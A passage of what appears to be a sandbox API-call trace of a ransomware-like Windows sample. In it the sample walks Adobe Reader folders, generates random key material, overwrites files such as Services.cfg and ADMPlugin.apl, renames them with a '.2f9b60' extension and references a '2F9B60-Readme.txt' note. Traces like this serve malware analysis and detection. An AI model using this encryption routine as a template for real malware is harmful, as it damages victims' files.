dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x60c [0224.139] WriteFile (in: hFile=0x60c, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x3504fc70, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x3504fc70*=0xba9, lpOverlapped=0x0) returned 1 [0225.588] CloseHandle (hObject=0x60c) returned 1 [0226.764] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431cb440) returned 1 [0226.765] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1eb0) returned 1 [0226.765] FindNextFileW (in: hFindFile=0x1ced60a0, lpFindFileData=0x1cd61b80 | out: lpFindFileData=0x1cd61b80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820095e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7f79, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.cfg", cAlternateFileName="")) returned 1 [0226.765] wcscmp (_String1="Services.cfg", _String2=".") returned 1 [0226.765] wcscmp (_String1="Services.cfg", _String2="..") returned 1 [0226.765] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b1eb0 [0226.765] wcscpy (in: _Dest=0x202b1eb0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services" [0226.765] wcscat (in: _Dest=0x202b1eb0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\" [0226.765] wcscat (in: _Dest=0x202b1eb0, _Source="Services.cfg" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\Services.cfg") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\Services.cfg" [0227.270] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\Services.cfg" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\services\\services.cfg")) returned 0x20 [0227.270] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\Services.cfg", dwFileAttributes=0x20) returned 1 [0227.271] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\Services.cfg" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\services\\services.cfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xff4 [0227.271] GetFileSizeEx (in: hFile=0xff4, lpFileSize=0x3504fd60 | out: lpFileSize=0x3504fd60*=32633) returned 1 [0227.271] SetFilePointerEx (in: hFile=0xff4, liDistanceToMove=0x7f75, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.271] ReadFile (in: hFile=0xff4, lpBuffer=0x3504fce0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3504fd28, lpOverlapped=0x0 | out: lpBuffer=0x3504fce0*, lpNumberOfBytesRead=0x3504fd28*=0x4, lpOverlapped=0x0) returned 1 [0227.396] SetFilePointerEx (in: hFile=0xff4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.396] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e860 [0227.397] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e830 [0227.397] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f1f0 [0227.397] NtQuerySystemTime (in: CurrentTime=0x3504fc20 | out: CurrentTime=0x3504fc20*=132462178313866000) returned 0x0 [0227.397] RtlRandomEx (in: Seed=0x3504fc10 | out: Seed=0x3504fc10) returned 0x44d23a6f [0227.397] RtlRandomEx (in: Seed=0x3504fc10 | out: Seed=0x3504fc10) returned 0x387494e3 [0227.397] RtlRandomEx (in: Seed=0x3504fc10 | out: Seed=0x3504fc10) returned 0xd9e679f [0227.397] RtlRandomEx (in: Seed=0x3504fc10 | out: Seed=0x3504fc10) returned 0x39765538 [0227.397] RtlRandomEx (in: Seed=0x3504fc10 | out: Seed=0x3504fc10) returned 0x3b837f90 [0227.397] RtlRandomEx (in: Seed=0x3504fc10 | out: Seed=0x3504fc10) returned 0x5aed9ac6 [0227.397] RtlRandomEx (in: Seed=0x3504fc10 | out: Seed=0x3504fc10) returned 0xbefb750 [0227.397] RtlRandomEx (in: Seed=0x3504fc10 | out: Seed=0x3504fc10) returned 0x29251c22 [0227.397] RtlRandomEx (in: Seed=0x3504fc10 | out: Seed=0x3504fc10) returned 0x7be621f8 [0227.397] RtlRandomEx (in: Seed=0x3504fc10 | out: Seed=0x3504fc10) returned 0x50ac24a3 [0227.397] RtlRandomEx (in: Seed=0x3504fc10 | out: Seed=0x3504fc10) returned 0x1b4b1dcb [0227.397] RtlRandomEx (in: Seed=0x3504fc10 | out: Seed=0x3504fc10) returned 0x3fb4619b [0227.398] RtlRandomEx (in: Seed=0x3504fc10 | out: Seed=0x3504fc10) returned 0x6e585f75 [0227.398] RtlRandomEx (in: Seed=0x3504fc10 | out: Seed=0x3504fc10) returned 0x2fdb9f98 [0227.398] RtlRandomEx (in: Seed=0x3504fc10 | out: Seed=0x3504fc10) returned 0x6d49c83e [0227.398] RtlRandomEx (in: Seed=0x3504fc10 | out: Seed=0x3504fc10) returned 0x2937e3ec [0227.398] RtlRandomEx (in: Seed=0x3504fc10 | out: Seed=0x3504fc10) returned 0x49d19c42 [0227.398] RtlRandomEx (in: Seed=0x3504fc10 | out: Seed=0x3504fc10) returned 0x3bfa2471 [0227.398] RtlRandomEx (in: Seed=0x3504fc10 | out: Seed=0x3504fc10) returned 0x543d2ceb [0227.398] RtlRandomEx (in: Seed=0x3504fc10 | out: Seed=0x3504fc10) returned 0x49fb797 [0227.398] RtlRandomEx (in: Seed=0x3504fc10 | out: Seed=0x3504fc10) returned 0x7e686d69 [0227.398] RtlRandomEx (in: Seed=0x3504fc10 | out: Seed=0x3504fc10) returned 0x2937e3ec [0227.398] RtlRandomEx (in: Seed=0x3504fc10 | out: Seed=0x3504fc10) returned 0x528a6694 [0227.398] RtlRandomEx (in: Seed=0x3504fc10 | out: Seed=0x3504fc10) returned 0x2abc7b14 [0227.398] RtlRandomEx (in: Seed=0x3504fc10 | out: Seed=0x3504fc10) returned 0x7c2a7e1f [0227.398] RtlRandomEx (in: Seed=0x3504fc10 | out: Seed=0x3504fc10) returned 0x168bc9b8 [0227.398] RtlRandomEx (in: Seed=0x3504fc10 | out: Seed=0x3504fc10) returned 0x5909b2c3 [0227.398] RtlRandomEx (in: Seed=0x3504fc10 | out: Seed=0x3504fc10) returned 0x633634e [0227.398] RtlRandomEx (in: Seed=0x3504fc10 | out: Seed=0x3504fc10) returned 0x6e6dc9bc [0227.398] RtlRandomEx (in: Seed=0x3504fc10 | out: Seed=0x3504fc10) returned 0x12f79f6c [0227.398] RtlRandomEx (in: Seed=0x3504fc10 | out: Seed=0x3504fc10) returned 0x66d7e04b [0227.398] RtlRandomEx (in: Seed=0x3504fc10 | out: Seed=0x3504fc10) returned 0x1268611a [0227.399] SetFilePointerEx (in: hFile=0xff4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.399] ReadFile (in: hFile=0xff4, lpBuffer=0x202e2d80, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3504fc80, lpOverlapped=0x0 | out: lpBuffer=0x202e2d80*, lpNumberOfBytesRead=0x3504fc80*=0x3c00, lpOverlapped=0x0) returned 1 [0229.645] SetFilePointerEx (in: hFile=0xff4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.645] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97800 [0229.646] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce24520 [0229.646] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43134e10 [0229.647] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43134e10) returned 1 [0229.647] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41b66910 [0229.647] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43134e10 [0229.650] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b110 [0229.651] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313b110) returned 1 [0229.651] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24520) returned 1 [0229.652] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97800) returned 1 [0229.652] WriteFile (in: hFile=0xff4, lpBuffer=0x41b66910*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3504fc80, lpOverlapped=0x0 | out: lpBuffer=0x41b66910*, lpNumberOfBytesWritten=0x3504fc80*=0x3c00, lpOverlapped=0x0) returned 1 [0233.426] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b66910) returned 1 [0233.427] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202e2d80) returned 1 [0233.427] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x2050e440 [0233.428] SetFilePointerEx (in: hFile=0xff4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0233.428] WriteFile (in: hFile=0xff4, lpBuffer=0x42c154d0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3504fd30, lpOverlapped=0x0 | out: lpBuffer=0x42c154d0*, lpNumberOfBytesWritten=0x3504fd30*=0x10a, lpOverlapped=0x0) returned 1 [0235.680] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61c40 [0235.680] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0235.681] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265190 [0235.681] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265190) returned 1 [0235.681] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0235.682] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265190 [0235.682] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265160 [0235.683] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265160) returned 1 [0235.683] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0235.683] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61c40) returned 1 [0235.684] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f030 [0235.684] sprintf (in: _Dest=0x1cd9f030, _Format="%c%c" | out: _Dest="ad") returned 2 [0235.684] sprintf (in: _Dest=0x1cd9f032, _Format="%c%c" | out: _Dest="e3") returned 2 [0235.684] sprintf (in: _Dest=0x1cd9f034, _Format="%c%c" | out: _Dest="5c") returned 2 [0235.684] sprintf (in: _Dest=0x1cd9f036, _Format="%c%c" | out: _Dest="3e") returned 2 [0235.684] sprintf (in: _Dest=0x1cd9f038, _Format="%c%c" | out: _Dest="82") returned 2 [0235.684] sprintf (in: _Dest=0x1cd9f03a, _Format="%c%c" | out: _Dest="fa") returned 2 [0235.684] sprintf (in: _Dest=0x1cd9f03c, _Format="%c%c" | out: _Dest="b6") returned 2 [0235.684] sprintf (in: _Dest=0x1cd9f03e, _Format="%c%c" | out: _Dest="a8") returned 2 [0235.684] sprintf (in: _Dest=0x1cd9f040, _Format="%c%c" | out: _Dest="a8") returned 2 [0235.684] sprintf (in: _Dest=0x1cd9f042, _Format="%c%c" | out: _Dest="ca") returned 2 [0235.684] sprintf (in: _Dest=0x1cd9f044, _Format="%c%c" | out: _Dest="9e") returned 2 [0235.684] sprintf (in: _Dest=0x1cd9f046, _Format="%c%c" | out: _Dest="da") returned 2 [0235.684] sprintf (in: _Dest=0x1cd9f048, _Format="%c%c" | out: _Dest="c9") returned 2 [0235.684] sprintf (in: _Dest=0x1cd9f04a, _Format="%c%c" | out: _Dest="6b") returned 2 [0235.684] sprintf (in: _Dest=0x1cd9f04c, _Format="%c%c" | out: _Dest="9d") returned 2 [0235.684] sprintf (in: _Dest=0x1cd9f04e, _Format="%c%c" | out: _Dest="58") returned 2 [0235.684] sprintf (in: _Dest=0x1cd9f050, _Format="%c%c" | out: _Dest="1f") returned 2 [0235.684] sprintf (in: _Dest=0x1cd9f052, _Format="%c%c" | out: _Dest="fe") returned 2 [0235.684] sprintf (in: _Dest=0x1cd9f054, _Format="%c%c" | out: _Dest="f8") returned 2 [0235.684] sprintf (in: _Dest=0x1cd9f056, _Format="%c%c" | out: _Dest="56") returned 2 [0235.684] sprintf (in: _Dest=0x1cd9f058, _Format="%c%c" | out: _Dest="2e") returned 2 [0235.684] sprintf (in: _Dest=0x1cd9f05a, _Format="%c%c" | out: _Dest="22") returned 2 [0235.684] sprintf (in: _Dest=0x1cd9f05c, _Format="%c%c" | out: _Dest="91") returned 2 [0235.685] sprintf (in: _Dest=0x1cd9f05e, _Format="%c%c" | out: _Dest="aa") returned 2 [0235.685] RtlInitAnsiString (in: DestinationString=0x3504fda8, SourceString="ade35c3e82fab6a8a8ca9edac96b9d581ffef8562e2291aa" | out: DestinationString="ade35c3e82fab6a8a8ca9edac96b9d581ffef8562e2291aa") [0235.685] RtlAnsiStringToUnicodeString (in: DestinationString=0x3504fd78, SourceString="ade35c3e82fab6a8a8ca9edac96b9d581ffef8562e2291aa", AllocateDestinationString=1 | out: DestinationString="ade35c3e82fab6a8a8ca9edac96b9d581ffef8562e2291aa") returned 0x0 [0235.685] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ce15300 [0235.685] wcscat (in: _Dest=0x1ce178f0, _Source="ade35c3e82fa" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\ade35c3e82fa") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\ade35c3e82fa" [0235.685] wcscat (in: _Dest=0x1ce178f0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\ade35c3e82fa.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\ade35c3e82fa.2f9b60" [0235.685] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\ade35c3e82fa.2f9b60", NtPathName=0x3504fd50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\ade35c3e82fa.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0235.686] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x4312bda0 [0236.884] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4312bda0) returned 1 [0236.884] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4307abc0) returned 1 [0236.885] NtQueryInformationFile (in: FileHandle=0xff4, IoStatusBlock=0x3504fdb8, FileInformation=0x3504fdc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3504fdb8, FileInformation=0x3504fdc8) returned 0x0 [0236.885] NtSetInformationFile (FileHandle=0xff4, IoStatusBlock=0x3504fdb8, FileInformation=0x3504fdc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0237.013] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce178f0) returned 1 [0237.014] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce15300) returned 1 [0237.014] FlushFileBuffers (hFile=0xff4) returned 1 [0238.194] CloseHandle (hObject=0xff4) returned 1 [0241.225] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x4318b4e0 [0241.226] wcscpy (in: _Dest=0x4318b4e0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\" [0241.226] wcscat (in: _Dest=0x4318b4e0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\2F9B60-Readme.txt" [0241.226] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\services\\2f9b60-readme.txt")) returned 0x20 [0241.226] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4318b4e0) returned 1 [0241.227] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1eb0) returned 1 [0241.227] FindNextFileW (in: hFindFile=0x1ced60a0, lpFindFileData=0x1cd61b80 | out: lpFindFileData=0x1cd61b80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820095e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7f79, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.cfg", cAlternateFileName="")) returned 0 [0241.227] FindClose (in: hFindFile=0x1ced60a0 | out: hFindFile=0x1ced60a0) returned 1 [0241.229] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd61b80) returned 1 [0241.229] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060d30) returned 1 [0241.230] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ee90) returned 1 Thread: id = 2057 os_tid = 0x1324 [0138.013] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x42060db0 [0138.014] wcscpy (in: _Dest=0x42060db0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins" [0138.014] wcscat (in: _Dest=0x42060db0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins\\" [0138.014] wcscat (in: _Dest=0x42060db0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins\\*" [0138.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd633e0 [0138.014] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins\\*", lpFindFileData=0x1cd633e0 | out: lpFindFileData=0x1cd633e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffc0b80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ffc0b80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ffc0b80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced6100 [0138.015] wcscmp (_String1=".", _String2=".") returned 0 [0138.016] FindNextFileW (in: hFindFile=0x1ced6100, lpFindFileData=0x1cd633e0 | out: lpFindFileData=0x1cd633e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffc0b80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ffc0b80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ffc0b80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.016] wcscmp (_String1="..", _String2=".") returned 1 [0138.016] wcscmp (_String1="..", _String2="..") returned 0 [0138.016] FindNextFileW (in: hFindFile=0x1ced6100, lpFindFileData=0x1cd633e0 | out: lpFindFileData=0x1cd633e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ffc0b80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x154e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADMPlugin.apl", cAlternateFileName="ADMPLU~1.APL")) returned 1 [0138.016] wcscmp (_String1="ADMPlugin.apl", _String2=".") returned 1 [0138.016] wcscmp (_String1="ADMPlugin.apl", _String2="..") returned 1 [0138.016] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x202b1b90 [0138.016] wcscpy (in: _Dest=0x202b1b90, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins" [0138.016] wcscat (in: _Dest=0x202b1b90, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins\\" [0138.016] wcscat (in: _Dest=0x202b1b90, _Source="ADMPlugin.apl" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins\\ADMPlugin.apl") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins\\ADMPlugin.apl" [0151.754] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins\\ADMPlugin.apl" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\spplugins\\admplugin.apl")) returned 0x20 [0151.754] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins\\ADMPlugin.apl", dwFileAttributes=0x20) returned 1 [0151.755] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins\\ADMPlugin.apl" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\spplugins\\admplugin.apl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2580 [0151.755] GetFileSizeEx (in: hFile=0x2580, lpFileSize=0x354af720 | out: lpFileSize=0x354af720*=1396224) returned 1 [0151.755] SetFilePointerEx (in: hFile=0x2580, liDistanceToMove=0x154dfc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.755] ReadFile (in: hFile=0x2580, lpBuffer=0x354af6a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x354af6e8, lpOverlapped=0x0 | out: lpBuffer=0x354af6a0*, lpNumberOfBytesRead=0x354af6e8*=0x4, lpOverlapped=0x0) returned 1 [0151.793] SetFilePointerEx (in: hFile=0x2580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.793] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ffea0 [0151.793] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ffff0 [0151.793] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500080 [0151.793] NtQuerySystemTime (in: CurrentTime=0x354af5e0 | out: CurrentTime=0x354af5e0*=132462177570058000) returned 0x0 [0151.793] RtlRandomEx (in: Seed=0x354af5d0 | out: Seed=0x354af5d0) returned 0x64724cca [0151.793] RtlRandomEx (in: Seed=0x354af5d0 | out: Seed=0x354af5d0) returned 0x2ce1b978 [0151.793] RtlRandomEx (in: Seed=0x354af5d0 | out: Seed=0x354af5d0) returned 0x3daacb65 [0151.793] RtlRandomEx (in: Seed=0x354af5d0 | out: Seed=0x354af5d0) returned 0x369ea40c [0151.793] RtlRandomEx (in: Seed=0x354af5d0 | out: Seed=0x354af5d0) returned 0x117f50ec [0151.793] RtlRandomEx (in: Seed=0x354af5d0 | out: Seed=0x354af5d0) returned 0x4e36a9 [0151.793] RtlRandomEx (in: Seed=0x354af5d0 | out: Seed=0x354af5d0) returned 0x6f039516 [0151.793] RtlRandomEx (in: Seed=0x354af5d0 | out: Seed=0x354af5d0) returned 0x2fe613a0 [0151.793] RtlRandomEx (in: Seed=0x354af5d0 | out: Seed=0x354af5d0) returned 0x6a764167 [0151.793] RtlRandomEx (in: Seed=0x354af5d0 | out: Seed=0x354af5d0) returned 0x3c4fa9ae [0151.793] RtlRandomEx (in: Seed=0x354af5d0 | out: Seed=0x354af5d0) returned 0x75e11a6a [0151.793] RtlRandomEx (in: Seed=0x354af5d0 | out: Seed=0x354af5d0) returned 0x76634719 [0151.793] RtlRandomEx (in: Seed=0x354af5d0 | out: Seed=0x354af5d0) returned 0x619adfe9 [0151.794] RtlRandomEx (in: Seed=0x354af5d0 | out: Seed=0x354af5d0) returned 0x7181965 [0151.794] RtlRandomEx (in: Seed=0x354af5d0 | out: Seed=0x354af5d0) returned 0x1321e358 [0151.794] RtlRandomEx (in: Seed=0x354af5d0 | out: Seed=0x354af5d0) returned 0x64648534 [0151.794] RtlRandomEx (in: Seed=0x354af5d0 | out: Seed=0x354af5d0) returned 0x38082408 [0151.794] RtlRandomEx (in: Seed=0x354af5d0 | out: Seed=0x354af5d0) returned 0x2516182a [0151.794] RtlRandomEx (in: Seed=0x354af5d0 | out: Seed=0x354af5d0) returned 0x49714488 [0151.794] RtlRandomEx (in: Seed=0x354af5d0 | out: Seed=0x354af5d0) returned 0x55441f82 [0151.794] RtlRandomEx (in: Seed=0x354af5d0 | out: Seed=0x354af5d0) returned 0x19e523b4 [0151.794] RtlRandomEx (in: Seed=0x354af5d0 | out: Seed=0x354af5d0) returned 0x20c7a3b6 [0151.794] RtlRandomEx (in: Seed=0x354af5d0 | out: Seed=0x354af5d0) returned 0x1171ddcd [0151.794] RtlRandomEx (in: Seed=0x354af5d0 | out: Seed=0x354af5d0) returned 0x6ae55f9c [0151.794] RtlRandomEx (in: Seed=0x354af5d0 | out: Seed=0x354af5d0) returned 0x45fe6757 [0151.794] RtlRandomEx (in: Seed=0x354af5d0 | out: Seed=0x354af5d0) returned 0x6ff69981 [0151.794] RtlRandomEx (in: Seed=0x354af5d0 | out: Seed=0x354af5d0) returned 0x62fd31e0 [0151.794] RtlRandomEx (in: Seed=0x354af5d0 | out: Seed=0x354af5d0) returned 0x465a8f11 [0151.794] RtlRandomEx (in: Seed=0x354af5d0 | out: Seed=0x354af5d0) returned 0x2f4b6903 [0151.794] RtlRandomEx (in: Seed=0x354af5d0 | out: Seed=0x354af5d0) returned 0x7a8027e1 [0151.794] RtlRandomEx (in: Seed=0x354af5d0 | out: Seed=0x354af5d0) returned 0x743ce995 [0151.794] RtlRandomEx (in: Seed=0x354af5d0 | out: 